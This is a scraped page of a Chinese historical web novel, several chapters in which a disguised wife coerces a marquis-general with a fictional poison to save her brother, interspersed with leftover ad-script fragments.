{var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李振默默叹息一声,也抱拳道:“不论侯爷作何决策,末将一律遵从。” 说罢,转而回禀要事。 “昨日末将率人盘查遗留关外的难民时发现一可疑之人,可惜被识破身份后他已服毒自尽,暂未查到有用的线索。末将已加派人手,增大搜查力度,必尽快铲除余孽,以绝后患。” “嗯。” 夜君慎微微颔首,“事不宜迟,挑两队人马,今夜随我出城。” 李振默默瞥一眼案旁染血的铜盆,想到自己护卫不力不免觉得惭愧,遂亲自揽下此重任。 他道:“侯爷有伤在身,还是留在营帐休养罢!” “小伤罢了,无碍。” 夜君慎早已扶案起身,转而去取架上的铠甲。 李振明知劝说无用,暗自摇头叹息。忽而想起什么,忙道: “入城流民中,有一妇人自称赵氏,道是侯爷一位故人,末将有心怀疑但她手上却有侯府之物,末将不知如何分辨真假,也无从查证,便将东西带了来,侯爷可要瞧一瞧?” 骨节分明的修长十指正系着腰间软甲,闻言手上微微一顿。 “唔。” 夜君慎随意应了一声,直到李振从怀里掏出一个手绢包裹的墨色锦盒,他静默许久而后像是突然回过神来,茫然问道:“哪个赵氏?” 李振见人少有的晃神,想来是遭君王猜忌,又遇身边人背刺,虽面上不曾显山露水,心中必定也是寒凉万分的。 不由暗恨,必抓了那细作,大卸八块。 原想道明“赵氏”身份,又怕万一生变,侯爷空欢喜一场,沉吟片刻后只低低回道:“那妇人只道此物是侯爷所赠,其余的末将并不清楚。” 说罢,抬手打开锦盒,只见里面装着一支略有残缺的赤金凤钗。 夜君慎神色一怔,立即踱步过去,他身姿颀长,行动间气宇轩昂。哪怕此刻伤痛在身,也不露分毫。 缓缓取出金钗,只见上面镶嵌的五色宝石早已不见,虽有凤凰之姿,却略显笨拙,倒是那处徽记几乎难辨真伪。 夜君慎不禁怔住。 发妻病逝后,他再未见过那对凤钗,下人道,妻子所用之物皆已随之安葬。 他握着发钗,凝视良久后忽然扔回盒中。 “假的。” 李振神色一滞,猛然抬起头来。 “是属下冒失了。” 一支发钗,却引得侯爷忆起伤心过往,李振又愧又悔,继而恨声道:“那妇人竟胆敢诓骗侯爷,我这就杀了她。” “慢着!” 夜君慎面色冷凝,语气凉薄,道:“这发钗见过的人不多,又能仿得这般相像的,必是近身之人。” 他握了剑佩在手,冷声道: “我倒要瞧瞧,是何人在作怪!” 8. 第 08 章 交锋 皓月当空,残云翻涌。 庭前榆树光秃秃的残枝在窗前摇曳,偶有不知名的野雀发出一声声凄厉的鸣叫。 赵念曦坐在案前,望着镜中人憔悴的面容心中不免酸涩难言。 他,没有来见她。 也是,那人早已封侯进爵,想要什么样的女子没有! 她还在奢望什么。 妻子流落在外数年,换作任何一个男人恐怕都不能够接受。更何况夜君慎出身侯府世家,威名赫赫,为了颜面,难保不会派人杀了她。 思及此,不由面色一白。 清冽的水扑上面颊,她狠狠揉了揉脸逼迫自己镇定下来。 她并非一无长物的。 她还有筹码。 不论李振意欲何为,她皆有法子应对。 夜君慎终究不得不来见她! 孙嬷嬷替眼前人绾好发髻,她握着木梳,微微一笑:“夫人本就容色秀美,这一打扮起来,当真比天上的仙子还要漂亮。” 赵念曦默默垂眸,目光暗淡。 “嬷嬷说笑了。” 她而今容颜憔悴,瘦比黄花,与初成婚时娇妍明媚的模样相去甚远,何来“仙子”一说。 纤细的指抚上面颊,淡淡道:“随意绾个简单的发髻便好,还是用我原先的簪子罢。” “这……” 孙嬷嬷迟疑道,“将军还等着呢。” 握着银簪的手一顿,赵念曦怔了一瞬似不经意般问道:“李将军……有无动怒?” 孙嬷嬷自然不敢当面道主子的不是,忙躬身笑道:“将军甚少苛责下属,纵使动怒也是因战事的缘故,夫人勿要多虑。” 说罢,捧起托盘里崭新的蜜合色织锦百迭裙,笑道:“将军还派人送了御赐的衣料过来,我和底下几个姑娘连夜给夫人做了身衣裳,您试试合不合身。” 自古先敬罗衣后敬人,赵念曦明白这个道理,却也不愿欠人人情。更何况,她也不靠美色惑人。 抬手拆下高耸的发髻,素白银簪随意一转便绾好了发。她淡声道:“多谢你们费心了。” 孙嬷嬷心有不满,面上却仍是笑着。 “夫人说哪里的话,能伺候夫人我们高兴还来不及呢。”她满目期盼,又道,“望您在将军跟前,能替我们多多美言几句。” 赵念曦这才惊觉她会错了意,不免觉得荒唐。 转念一想,夜半召见,难免招人误会。但是,李振呢?若非夜君慎首肯,他怎么敢?! “嬷嬷误会了。”她款款起身,面色冷然,“我与你们将军并无任何干系!” “啊?!” 孙嬷嬷闻言,不禁一怔。合着她们屁颠屁颠地奉承了这两日,感情还拍错了马屁! 暗暗撇了撇嘴,抱着衣裳退下。 夜风习习,凉意彻骨。 廊庑下兵士林立,威严肃穆。纤瘦的身影越过重重守卫,在敞亮的花厅前止步。 一人进内传话,“侯爷,人到了。” 赵念曦只觉心中“咯噔”一声,不由攥紧了衣袖。 竟是……他来了。 她并非未做准备,只是陡然相遇,心中仍不免晦涩难言。 那人手握重兵,朝廷上下无不忌惮。若他能看在旧日情分上,救回兄长…… 很快,赵念曦便打消了这个念头。 指望那一点可怜的情谊,当真是愚蠢至极。 也,很自贱。 他若当真肯念旧情,也不必她开口了。想明白这一层,她忽然改了主意。 缓步入内,只见两旁桌椅陈列,上首端坐着一男子,身上戎装未退,一副风尘仆仆的模样。 他面容紧绷,眸光锐利,丝毫不见病榻上的羸弱无力之态。不知为何,赵念曦忽觉心绪渐渐安定下来。 只要他肯来,便有机会。 默默收回视线,她款款蹲身下拜,“民女叩见侯爷。” 半晌,冷沉而清冽的声音自上首传来, “听说,有人自称本侯夫人,特来看看,什么人如此大胆!” “抬起头来!” 他语含讥屑,赵念曦听闻不免觉得刺耳。 此人性情冷厉近乎不近人情,从前那点子夫妻情分几乎不值一提。此刻自报身份,未免落了下乘。 与其自取其辱,不若就这样划清界限。 赵念曦缓缓抬眸,轻笑一声回道:“侯爷位高权重,民女这等微贱身份想要见上侯爷一面属实不易,若有冒犯,还望侯爷大人有大量。” 在夜君慎听来,这便是自认假冒的意思了。他冷笑一声,握剑一步步走下台阶。 “那你就猜错了。” “本侯度量小,容不得旁人放肆。” 烛火摇曳间,暗黑的人影缓缓靠近,赵念曦屏息凝神,只觉脖颈一凉,冰冷的剑鞘紧贴着下颌,被迫仰起脸时,陡然迎上那双深邃的眼瞳,不由呼吸一滞。 那人面容清隽,冷肃之气更胜从前。审视的目光来回在她面上打量,莫名让人心底发寒。 忽然眸光一颤,他讶然问道:“你是谁?” 俩人近在咫尺,赵念曦甚至能察觉到扑在面颊上暖热急促的气息。近乎陌生的语气也让她断定,他没有认出她来。 也对! 七年颠沛流离,她早已不是当初姿容妍丽的娇俏少女,众星捧月的侯府少夫人。 而今容颜憔悴,自己尚且要叹息一声岁月如刀呢! 他不认得她。 也幸好不认得她! 赵念曦偏了偏头,避开冰冷利器的同时也默默躲开那人骇人的目光。她再次款款下拜,搬出早已准备好的说辞回道: “民女赵念桢,见过侯爷。” 果然不是! 夜君慎喃喃着,神色恍惚。 陡然目光一闪,他立即追问道:“那支发钗,你是从哪里得来的?” 赵念曦不动声色后退半步,清冷的眸光瞥向远处,仿佛回忆往事。她道: “六年前,妹妹病重,我受兄长所托前去探望,妹妹便送了我一支发钗。” 夜君慎神色凛然,脱口问道:“你说的妹妹,是谁?” “她是我一母同胞的亲姊妹,赵念曦。” “一派胡言!” 夜君慎握着那支金钗,鲜红的血从指缝溢了出来。他冷哼着,嗤笑道:“本侯从未听说过赵奕另有一个女儿!” 赵念曦神色淡淡,缓缓开口解释:“民女年幼时身患恶疾,被爹娘送去佛寺寄养,后来因战乱流落异乡,侯爷没听说过并不奇怪。” “你说的这些,看似毫无破绽。” 夜君慎忽然抬手,血迹斑驳的金钗摔至赵念曦面前。他冷冷道:“偏偏——这支发钗却是假的!” 赵念曦神色一怔。 他发现了…… 怎么可能?! 细细一想,也对。自家的东西,哪有认错的道理。 “你打算作何解释?!” “不说清楚,今日休想从这里走出去。” 花厅外守卫森严,连只苍蝇也难以进出。赵念曦敢打赌,她若不给出一个让人满意的答复,今日怕是要交代在这里了。 纤指拢了拢额边碎发,她忽然笑了。 “侯爷果然好眼光!” 赵念曦神色坦然,缓缓解释道: “民女自幼寄居佛寺,后遇战乱居无定所,三餐不继。比不得侯爷,含着金汤匙出生,从不必为生计发愁。 那支发钗,不能吃不能喝,留着也无益。再者——” “侯爷应当知晓西锦王子的恶名吧?留着侯府的东西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在身边,除了引人追杀,并无半分好处。 “所以,东西早已被我刮去徽记变卖了。若不如此,何人敢收?!” 说罢缓缓抬眸,冷沉的目光定定望向对面那人,语带讥讽: “侯爷也不必再疑心了,我若当真没见过真东西,如何能仿得这般像呢!” “是吧?!” 夜君慎闻言不由顿住。 当初重伤醒来时,身边人瞒了他许久。直到察觉破绽,再三追问之下才得知发妻已病逝月余。 她最后的时光,他全然不知,自然也无法辨别这番话的真假。 静默片刻,他无力问道:“你最后见她,是什么时候?” “时日久远,记不清了。” 赵念曦轻吐一口气,话锋一转继而诉说要事,“今日求见侯爷,有一事相求。” “以侯爷之英明,想必也能猜到我为何事而来罢!” 夜君慎只觉心绪烦乱。 初见那支发钗时,原以为是妻子身边出了小人,趁乱盗了东西出去变卖,未曾料到还有这样一桩旧事。 他揉了揉眉心,面色疲惫,“若为赵延,本侯无能为力。” 赵念曦虽早有所料,心中却仍不免失望。 成亲半载,她晨昏定省侍奉长辈,伺候重伤的丈夫,可谓尽心尽力。自问未曾做过任何愧对侯府愧对丈夫的事,却遭这般无情背叛。 她也曾恨过!怨过! 可这恨意,除了折磨自己,于旁人却无半分损伤。 敛起情绪,赵念曦努力挤出一丝笑意,“妹妹福薄,不幸早逝是不得已。 就算父亲曾愧对江山社稷也已受了惩罚,身死异乡。 “但是——我兄长却不该如此。” “及冠之年高中探花,正得意时却耗在那蛮荒之地,虚度光阴,这恐怕比杀了他还要痛苦。” 夜君慎未做任何回应。 沉默良久后,他缓缓起身。 皎洁的月色倾泻在银白的铠甲上,仿佛镀了一层寒光。冷峻的面颊上,眸光暗淡。 “赵延杀人一事,罪证确凿,哪怕本侯有通天的本事,也不能捞他出来。” 赵念曦闻言,淡然一笑,“侯爷过谦了!” 她仍旧跪伏在地,冷硬的石砖硌得膝盖骨生疼,却终究不及心底的那抹绝望。 那抹暗影即将离开前,赵念曦忽然抬头,目光空洞。她最后一次开口乞求,“只要侯爷救回我兄长,我可以告诉侯爷更多有用的消息。” 夜君慎冷嗤一声。 他掌数十万兵马,朝廷内外皆有眼线,暗卫遍布各州,有何消息能瞒得过他?! 将佩剑挂回腰间,他懒懒回道:“本侯一介武将,只管行军打仗,从不涉朝堂之事。 你恐怕……打错了算盘。” “哦?是吗?” 赵念曦冷然一笑,缓缓拾起面前的赤金凤钗。清冷的眸光里,闪过一抹讥屑。她望向廊下那人,悠悠说道: “若我告诉侯爷——” “这支发钗上,淬了毒,无色无味……” 她淡笑着,几乎一字一句。夜君慎闻言,眸光陡然一跳。 就在这时,一军士匆匆进来,惶急叫道: “侯爷!不好了!” 夜君慎紧凝着眉,面带不悦,“何事慌张?” 军士吐一口气,抱拳回道:“李将军忽然口吐鲜血,浑身发颤,军医说不知是何缘故,暂无药可解!” 闻言,夜君慎立即回身,冷肃的目光觑向堂中之人。 赵念曦轻瞥一眼那人冷厉的面庞,淡淡一笑。赤色凤钗在指尖转了个圈,她悠悠说道: “此毒,名为雪艳冰魄。中毒者,会在三十日内,暴毙而亡。” “侯爷……不答应,也得答应。” 9. 第 09 章 威胁 “侯爷!” 顷刻间,庭前数十名军士纷纷涌上前来。 其中一人更是挥剑指向赵念曦,恶声威胁,“现在交出解药还可饶你一命。否则,休怪老子下手狠毒!” 赵念曦轻瞥一眼廊下身姿挺拔的人,从始至终,夜君慎皆是一副旁观的姿态,不发一言。 没有下令,也未阻拦。 “呵!” 既已撕破脸皮,还有何惧?! 赵念曦冷然一笑,缓缓推开面前利刃,“我兄长平安归来之日,自会奉上解药。” 眸光一转,她看向夜君慎悠悠说道:“也请侯爷记住,你,只有三十日的时间。否则—— 我可没有耐心等太久。” “你这毒妇!!” 夜君慎还未曾发怒,他身边的护卫早已按耐不住。怒喝一声,随即挥剑刺了过来。 近身的一瞬,赵念曦身形一转,素白银簪已穿透那人甲胄。顷刻间,沉重的身躯缓缓倒地,横在她脖颈间的利刃亦无力坠落。 流落关外数年,她从一个养在深宅里十指不沾阳春水的娇滴小姐变成四处流亡的难民。 整日里东躲西藏,事事皆需亲力亲为,除了应对敌军的搜捕,还得应付心怀不轨之人的觊觎。 短短数月,她学会了生火、捕猎,做烧饼烤馕烤肉;也学会些许功夫,用暗器自卫…… 怔怔望着倒地不起的人,心底多少有些后怕。但凡他再进一步,她恐怕已身首异处。 但是……一支银簪而已,并无如此威力。赵念曦缓缓抬眸,果然见那人身后另有一人——正是夜君慎。 他面色阴沉,一手握剑冷冷吩咐下属,“带下去!严审!” 指尖扣进掌心,凤钗上尖锐的暗纹划破血肉,赵念曦却并未感觉到疼痛。 早在进城之前她便料到迟早会有这一步,也并不惊讶,更没什么好伤心难过的。心绪还未平复便见几名军士互看一眼,最终将倒地的护卫带了下去。 眉心一跳,赵念曦倏忽反应过来。 其余人等亦退了出去,一时间,原本逼仄的花厅只余下赵念曦与夜君慎二人。 他是打算,亲自审她?! 赵念曦紧凝着眉,一颗心沉到了谷底。 此人心思深沉,最擅操控人心,以她这半吊子功夫,指不定几句话便被套了进去。 况且,她有太多把柄,太多顾虑,能与之对抗的,唯有解毒之药。 若他当真不择手段,又该如何应对?! 微微抬眸,便见夜君慎双手扶剑,冷峻的目光直逼过来,他冷嗤道:“你不怕,我现在就杀了你!” 赵念曦咬着唇,脊背倔强地挺立着。良久对视后,她轻嗤一声,淡笑道: “民女早就是烂命一条,能拉侯爷陪葬, 不亏!” “哦?是么?” 夜君慎轻笑一声,只是笑意却未达眼底。他踱着步,神色淡淡,“世间能人多的是,三十日,足以让我找到解毒之法。倒是你——” 缓步走向一旁圈椅,他随手取了块雪色帕子坐下擦拭手中利剑。半晌,似不经意道: “行刺朝廷命官,乃死罪。且战事未了,本侯尚还是一军主帅!论罪,以谋逆处置亦不为过。” 说到此处,幽深的目光直逼向赵念曦,他嗤笑道:“你确定你是在救赵延?” 赵念曦闻言,轻轻勾了勾唇。 走出这一步前,她早已考量过种种后果。 长姐赵念桢三岁早夭,寺庙里一直供奉有香火,届时,完全可以否认这层身份。 而她,曾经的尚书府嫡小姐,淮阴侯府少夫人“赵念曦”早已于七年前“病逝”。 若有罪,侯府中人恐怕会第一个跳出来指认她假冒。没有人会公开承认这重身份,自然不会连累兄长父亲。 想清楚后,不由浅浅一笑。抬眸看向重檐外,清冷的声音缓缓道: “天一亮,距离毒发亦不远了,侯爷还是先忧虑自身罢!” * 残月还未落下,天边已现出浅浅的曦光。清冽的风带着稀薄的晨雾吹拂在面颊上,冰凉一片。 夜君慎疾步踏出花厅,随手将佩剑扔给一旁的护卫。 “多派几人,严加看守。” “是!” 一旁军士愤愤道:“侯爷,那妇人如此歹毒,何不将派去岭南的人撤回来!” 夜君慎脚下不停,未多加思索便淡声吩咐:“那女子的说辞漏洞百出,身份尚未确认。你先派人去一趟淮州,查一查赵奕所有子嗣。” “还有……” 提及重伤时那段往事,他面色冷凝,抬手捏一捏眉心,低声道:“另派一拨人,去查赵氏病逝前后去过哪儿,接触过哪些人。” 末了不忘叮嘱,“不要惊动府上。” “是。” * 一行人很快到了衙署,只见前厅灯火透亮,里外分别有两拨人轮流值守,戍卫森严。 夜君慎还未及走近便有将士上前行礼,他此行并未透露行踪,是以不欲声张,忙摆手称“免礼”。 穿过偏厅进里间卧房,两名老仆闻声行过礼后,悄无声息退了出去。 李振卧在榻上,见了来人先是一惊。 夜君慎遭身边人暗算,是他护卫不力,此刻自己亦中了招,心中不免担忧。 打量一眼榻前之人,而后挣扎着起身,连声问道:“侯爷可还好?” 夜君慎点头。 “我无事。” 眼下余孽未除,奸细尚无线索,若此时他与李振二人皆出意外,情势恐怕不妙。忙又问道,“你呢?感觉如何?” 李振听闻“无事”二字自然放下心来,恨恨回道:“那贼人藏得挺深,我竟不知是何时中的毒!幸而李老医术卓绝,两剂汤药下去,我已好多了。” 闻言,夜君慎不动声色打量他一眼,见李振面色似乎与常人无异,说话也算有力,精神头也还不错,半点儿不似军士所报的那般危急,不由诧异。 莫非李茂荣找到了解毒之法?! 李振很快取了外裳穿戴齐整,又转身去取架上的铠甲。 夜君慎心知他是担心城门防务,拦住人劝道,“我另派人前去巡查,你歇着罢!” 李振仍旧套着铠甲,他喃喃道:“陈骞那厮不中用, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 需得我亲自盯着才安心。” 谁知,人还未踏出屋门便已一头栽倒。 老仆正垂首立在门外,听闻动静立即去唤大夫。 片刻,一白发老者背着药箱匆匆赶来,再一次请脉问诊过后,斟酌着写下一副药方。 夜君慎甚少见他这般作难,冷沉的眸光觑向案前之人,他凝眉问道:“究竟怎么回事?” 李茂荣虽已年近古稀,身形却并不佝偻,他理一理素白的衣袖,拱手回禀,“侯爷,据李将军副将所言,将军近日几乎与手下同寝同食,应不是吃食里出的问题。” 闻言,夜君慎不由凝眉,“那是何故?” 李茂荣沉吟一瞬,忽然问道:“侯爷可还记得当年中毒之事?” 夜君慎颔首。 他当然记得,若非毒发,那一战他绝不会败得如此惨烈。 “难道……此毒与西锦人有关?” “嗯。” 李茂荣点了点头,缓缓说道:“这毒与侯爷当年所中之毒颇为相似,却又更为棘手……” 夜君慎闻言,眉心一跳。 回想堂中那位女子,虽容貌与发妻酷似,但言行举止却又截然不同,据她所说,战乱之际流落异乡,难道为西锦人利用?! 李茂荣捋了捋颌下长须,似回忆往事。 “当年,百草堂高手云集,先师著有一书,收尽世间解毒之法,声誉鹊起;可惜师叔剑走偏锋,研制各色奇毒为人利用,后被逐出师门不知所踪。 这毒恐怕与他有些渊源。” 夜君慎闻言不由拧眉,“您说的,是毁于大火的百草堂?” 李茂荣点了点头,道:“正是。” 当年,战乱频发,百草堂所处的崖州亦为西锦占领。莫名一场大火,典籍尽数被焚。 虽有后人意欲重振师门,却再不复往日隆盛之态。 思及此,李茂荣叹息一声,“老夫无用!当年资历尚浅无缘得见先师手笔,眼下只得以汤药缓解病症,却并不能根治。” 说罢,又感慨道:“不过,侯爷当年既能痊愈,必有贵人相助。若能找到那人,或有一线生机。” 夜君慎缓缓抬手,看一眼掌心干涸的血痕,冷嗤一声。 他堂堂男儿,岂会受一妇人胁迫。 “来人!” “快马加鞭,速去京中请章太医!” “是。” 正说着,有人匆匆来报:“侯爷,据属下查来的消息,德安长公主身边确有一名唤‘李莲娘’的侍女,只是早已死在西锦人的屠刀之下。 长公主遇困之后,那女子便以‘李莲娘’之名行走,在此之前的身份却无人知晓。 与她相关之人已找出十八人,是否要用刑?” 夜君慎点头,“你看着办!” “只是,还有一人……” 那人犹疑一瞬,斟酌着道:“是……云将军,属下不便亲自审问。” 夜君慎眉目一凝,想到云潇珩混迹西锦数年,此次虽提供情报立了功,但若与贼人有染,照样不能放过。 修长的指握紧手中利剑,他沉声道: “本侯亲自去审。” 10. 第 10 章 面纱 * 风沙席卷,尘烟漫漫。 巍峨高俊的城墙上,一列军士手握长矛往来巡视。忽有士兵来报, “云将军,侯爷召见!” 为首之人停下脚步,抬手吩咐其他人继续巡查,而后问那小士兵:“可知所为何事?” 士兵回:“不知。” 云潇珩未曾多想。 明日便是侯爷定下的回京之期,今早却不见李振前来城门换值,想必另有安排,于是匆匆前往。 值房里,夜君慎身着银色铠甲大马金刀端坐在上首,一如既往的威严冷肃。瞧见来人,他随手指了指一旁的圈椅招呼道: “坐。” 云潇珩心知夜君慎召见必有要事,忙拱手推却。 夜君慎未再勉强,从怀中取出一墨色锦盒,缓缓置于桌案上,他道:“今日让你来,不为别的,只是想请你认一样东西。” 瞥一眼案上半尺长的锦盒,云潇珩迟疑着上前接过,里面是一支血迹斑驳的赤金凤钗。 他伸出手去,正欲取来细看,夜君慎却已漫不经心将东西收了回去。 清隽的目光觑向面前之人,夜君慎沉声问道:“这支发钗,你可见过?” 闻言,云潇珩怔了一瞬,面露异色,“侯爷,可是出了什么事?” 见他这般神色,夜君慎心下了然。 随手把玩着手中锦盒,冷沉的眸光静静打量面前之人,他淡淡道:“你只管说,有无见过。” 云潇珩默默望一眼对面那人深邃的目光,想否认也不能了。侯爷既已亲自找到了他,想必已有线索。 沉吟一瞬,他斟酌着回道:“似乎是在哪里见过,可惜末将不大懂这些女儿家的东西,并不能就此确认。” 闻言,伫立在值房门口的护卫互相交换一个眼神,而后悄悄握紧手中利剑,只待侯爷一声令下便立即上前将人拿下。 “不急。” 夜君慎亲自沏了一盏茶,缓缓推向对面那人,他淡声道:“喝盏茶,你再好好想想。” 云潇珩闻言,不由心下一沉。侯爷这是不听真话不打算罢休的意思了。 夜君慎有时间同他耗,他却没有。 妹妹和莲娘二人想必已经入城,还需他前去安顿。榆州虽比关外安稳不少,但俩个女儿家出门在外到底多有不便,他得尽快过去看看。 凝眉想了想,他缓缓道:“多年前,有人托我处理一支发钗,似乎与盒中这支有些相似。 不过时日久远,末将只记得些许大概,并不清楚那些细枝末节的东西,也不敢就此确认。” 夜君慎敏锐地捕捉到一丝信息,忙连声追问道:“那人是谁,叫什么名字?” 然云潇珩却不愿细说了。 侯爷如此急迫,必是出了什么大事。他抿了抿唇,尽力掩去紧张之态,而后垂眸道:“并非末将有意隐瞒,只是当年答应了那人,绝不透露半点消息。 一言既出,驷马难追。末将绝不做失信之人。” “失信?” 夜君慎闻言轻笑一声,“潇珩守信固然无错,只是……” “你可知那发钗来历?” 云潇珩自然不知,一时默然无声。 夜君慎接着道:“数年前,我府中库房失窃,多件珍宝不翼而飞,其中就有一对凤钗。” “不可能!” 想到莲娘将发钗交给他时的情形,云潇珩下意识否认,“相似之物多了,况且无凭无据,并不能说明什么。” 修长的指缓缓叩了叩桌面,夜君慎看向面前之人冷冷道,“相似之物固然多,但那对凤钗却是出自宫廷匠人之手,世间仅此一双,有官印为证。” “谁给你的胆子,敢私自处置?” 闻言,云潇珩蓦然一惊。 倒卖宫廷器物,罪责可大可小。他又是从底层士兵一步步爬上的将军之位,本就有人不服。若因此遭人诟病,丢官都是小的。 顿了顿,他摇头道:“侯爷猜错了,那支凤钗上并无官印。” “没有官印?” 夜君慎闻言,冷冷一笑,“潇珩当真糊涂。” “这官印若要伪造一个出来,属实不易;可若是去掉一个,那可就简单的多了。你且细想那人身份,能否匹配这等贵重之物。别替人销赃,自己却还蒙在鼓里。” 云潇珩霎时顿住。 莲娘曾是德安长公主身边的侍女,他知道。就算有机会接触侯府……盗窃财物之事却绝无可能。 “侯爷属实多虑了。” 云潇珩细想一番当年之事,开口辩解道,“那人当了发钗之后并未独占,换来的粮食衣物救了许多难民。” 说到这里,他忽然抬起头,面带怒意,“当年,齐国战败,西锦王子曾派人大肆屠杀无辜百姓,所过之处血流成河,尸骨遍地。 末将无心求证,亦无力求证。再说,东西不过死物而已,只要能救人性命,我管它是哪里来的!” 玉色茶盏里,碧绿的茶汤早已温凉。 夜君慎凝眉听完一番话,沉默半晌后握剑起身。将行至屋门处,忽然站定。 他回过头,探究的目光直直望向面前之人,“你说的那人,是不是‘李莲娘’?” 云潇珩闻言,神色明显一滞。在旁人看来,无疑是默认的意思了。 夜君慎得了答案,回过身时沉沉道: “那支发钗乃府中珍物,若能找回,本侯可以既往不咎。潇珩若想起什么线索来,记得知会一声。” 话音未毕,他忽然趔趄一步,手捂胸口吐出一口血来。 “侯爷!” 云潇珩疾步上前,一把将人扶住,“侯爷受伤了?” 守在门前的军士亦大惊失色,忙唤人备马,“回营!回营!!”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 夜君慎缓了缓,忍过胸口那阵刺痛渐渐撑起身子。 李振毒发,他亦中了毒,城门疏于防守,若西锦余孽趁机偷袭,榆州危矣。 抬手拭去唇角的血渍,他淡淡道:“无事。” 又转头吩咐云潇珩,“李振昨夜遭人暗害中毒,无法当值。接下来,便由你接替他的位置,把守榆州城门。” 云潇珩闻言,一时惊诧不已。了解清楚状况后,他立即抱拳承诺,“请侯爷放心,属下定不辱命。” 出了值房,身边副将蒋涛一脸担忧:“侯爷,李将军已经病倒,若真如那妇人所说,您恐怕……” 顿了顿,他气闷道,“必是西锦贼人设计重伤侯爷,那云潇珩恐怕也与此脱不了干系,侯爷不说惩治,竟还将守城重任交付与他?” “是啊,侯爷!”护卫黄霄亦附和道,“贼人早有预谋,届时仅凭陈骞一人之力恐怕不能应对,侯爷非但不另派人手,为何还要重用他?!” 夜君慎未做解释,只从怀中掏出一枚令牌,“盯着他,若有异动,即刻来报!” “是。” 蒋涛握住令牌,领命而去。 另一人瞥一眼飘落在地的月色薄纱,顿了顿拾起来递至夜君慎面前。 夜君慎眉目一凝,忽而想起那女子的话…… “这是星椤纱,用数十种药草制成,有化解百毒之效。” 她,似乎颇通药理,又擅解毒,或许…… 凝眉看向身边护卫,他问:“那日的红衣女子,可有线索?” 黄霄摇了摇头。 无名无姓,要从茫茫人海里捞出人来谈何容易!大肆宣扬,又恐生事端,反倒不利。 最后不得不道:“属下再派人去找。” 夜君慎也知短时间内希望渺茫,将马头一转,道:“去蘅芜苑。” 蘅芜苑地处荒野不便防守,若此时再遇意外实在危险。 黄霄忙出言劝道:“侯爷重伤未愈,又已一宿未曾歇息,身子实在吃不消!不如,属下去将那妇人带来。” “不必……” 夜君慎将开口,忽吐出几口鲜血,而后一头栽倒。 “侯爷!” 几人惊惶无措,联手将人送上马背,至于去哪儿一众人却犯了难。 争来争去,最终车骑校尉常峪一拍大腿,道:“去衙署。” 有人质疑,“侯爷已有吩咐,你擅自做主,不妥……” “什么妥不妥的!” 常峪瞪着眼,愤愤道,“情势危急,就算那章太医能拿出解药,终究远水救不了近火。有李老在,至少能保人暂时无虞。” 又吩咐底下军士,“你们两个,速去将那毒妇一并带至衙署。重刑之下,我看她能撑多久。” 底下人面面相觑,常峪无奈一挥大手,“侯爷当真怪罪下来,我一人承担,绝不牵连你们。” 11. 第 11 章 试药 * 七年前,西锦贼人屡犯边关,榆州等地接连失守。 骠骑将军夜君慎率五百轻骑直入敌营,虽斩了敌军大将首级,自己却不慎中了毒箭,危在旦夕。 军医为延缓病情用了大量猛药,人运回京城时,早已人事不省。太医院几个老头儿琢磨来琢磨去也是束手无策,每日里只用几碗汤药吊着一口气。 朦胧的烛火下,朱红的幔帐轻曳,槛窗上还未及褪下的“喜”字红得刺眼。 男子脸色灰白,静静躺在卧榻之上仿佛沉睡般始终一动不动。往日他总一副龙精虎猛的样子,寻了空便逗她取乐,何曾这样死气沉沉过。 赵念曦握着满是厚茧的宽大手掌,泪水滑落面颊。 “我那支珍珠发钗你还没还我,你不许赖账。” 满室寂静,只闻漏声滴答。 淮阴侯夫人崔氏终日求神问佛,请大师做法,私底下更让人备置后事以冲喜。 走投无路之际,赵念曦忽想起幼年时偶然在父亲书房见过的一箱子“账册”,她最爱看上面奇形怪状的花花草草,还将其剪下来拿去问父亲是什么东西。 父亲吓坏了。 赵念曦看着他惊惶的神色,深知自己闯了大祸,从那以后再也不敢进父亲书房。 时隔多年,依稀还记得那些“账册”上的“鬼画符”,那……是西锦的文字。 而夜君慎所中之毒,正是来自西锦。 借着上香的空隙,赵念曦特意去见了父亲。谁知,他却恍若失忆般坚决认定她记错了。 赵念曦无奈跪下恳求,父亲神色哀戚,最后不得不拿出半部残卷。 府中不便消息往来,她便以诵经祈福之名在佛寺研读,有父亲指点,俩人历经半月总算寻到解毒之法。 她成日守着药炉,以身试药,确认无碍后才敢给夜君慎服用。 直到那一日,琉璃从长阶上急奔过来,道:“小姐,将军高热已经退下去了。” 刻意压低的声音里仍掩不住惊喜。 赵念曦轻轻点了点头,“昨日我观他伤处红肿已消且脉象稳健,便知已有好转之势。” “真的?!”琉璃喜道,“也不枉小姐日夜研读医典,又亲自试药……” “嘘!” 赵念曦忙让她噤声,“往后不要再提此事了。” 她私自用药本就不妥,若叫人发觉,给父亲招来横祸更是不妙。 琉璃吐了吐舌,“那我就等将军醒了,再跟他说。” 赵念曦抿了抿唇端着汤药起身,脚下忽然一个趔趄,若非琉璃眼疾手快,才熬好的汤药早已撒了一地。 瞧一眼自家小姐苍白的面色,琉璃心疼不已。 “小姐近来一直未曾好好歇息,不如用了饭好好睡一觉,剩下的交给我。” 赵念曦抱着药碗,轻轻摇了摇头。 “我没事。” 并非她不信任身边人,只是府中恶人不少,稍有不慎便可能前功尽弃。 再者,夜君慎病情已有所好转,若再无发热,便可试着去掉两味烈性药,紧要关头,需得全程盯着才安心。 廊庑下,忽有下人来报,“少夫人,夫人请您过去用饭。” 赵念曦心下一沉,不动声色将手中药碗掩在身后。 琉璃便上前冲那嬷嬷道:“正好,小姐吩咐的红枣乌鸡汤已经炖好了,一并儿带过去。” 那嬷嬷却不大高兴的样子,“夫人还等着呢。再说了,咱们那里也不缺这个。” 赵念曦淡淡一笑,开口解释:“母亲那里自是什么都不缺的,只是我瞧着她老人家茶饭不思,精力不济的样子,便让人炖了这滋补的汤,终归是我们做晚辈的一片孝心。” 闻言,那嬷嬷也不好再说什么,撇了撇嘴跟着底下人往小厨房去了。 